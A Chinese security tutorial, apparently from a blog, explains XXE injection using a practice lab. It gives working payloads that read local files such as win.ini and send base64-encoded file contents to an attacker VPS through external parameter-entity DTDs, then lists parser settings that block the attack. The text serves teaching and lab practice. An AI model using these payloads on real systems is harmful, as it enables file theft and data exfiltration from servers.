赞
踩
xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;
漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。
php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。
如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。
练习靶场:
GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo
靶机:192.168.77.130
VPS:192.168.77.155
(1)引用内部实体
payload:
- <?xml version="1.0" encoding="utf-8"?>
-
- <!DOCTYPE admin[
-
- <!ENTITY admin SYSTEM "file:///C:/Windows/win.ini">
-
- ]>
-
- <user><username>&admin;</username><password>admin</password></user>
利用Burpsuite抓包
构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件
(2)引用外部实体
payload:
- <?xml version="1.0" encoding="utf-8"?>
-
- <!DOCTYPE admin[
-
- <!ENTITY admin SYSTEM "http://192.168.77.155/1.dtd">
-
- ]>
-
- <user><username>&admin;</username><password>admin</password></user>
利用burpsuite抓包,并构建payload读取vps机器上的文件内容
1.dtd文件
(3)参数实体
参数实体讲解:
- # f.txt
-
- <!ENTITY % msg "<!ENTITY msg2 'test dtd 111'>">
-
-
-
- <?xml version="1.0"?>
-
- <!DOCTYPE admin[
- <!ENTITY % msg1 SYSTEM "http://192.168.77.155/f.txt">
- %msg1;
- %msg;
- ]>
-
- <user><username>&msg2;</username><password>admin</password></user>
类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。
利用靶场验证如下:
利用方式1:
- <?xml version="1.0" encoding="utf-8"?>
-
- <!DOCTYPE ANY[
- <!ENTITY % remote SYSTEM "http://192.168.77.155/2.dtd">
- %remote;
- %all;
- ]>
-
- <user><username>&send;</username><password>admin</password></user>
192.168.77.155/2.dtd
- <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
-
- <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.77.155/?content=%file;'>">
利用靶场实践如下:
1)构建payload并执行
2)查看vps上的access.log日志:
3)base64在线解码
利用方式2:
- <?xml version="1.0" encoding="utf-8"?>
-
- <!DOCTYPE aa[
- <!ENTITY % remote SYSTEM "http://vps/2.dtd">
- %remote;
- %all;
- %send;
- ]>
vps/2.dtd
- <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
-
- <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/?content=%file;'>">
- libxml_disable_entity_loader(true)
-
- dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)
-
- dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)
-
- dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
- ……
另外,可以在菜鸟教程(runoob.com)上学习XML和DTD
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。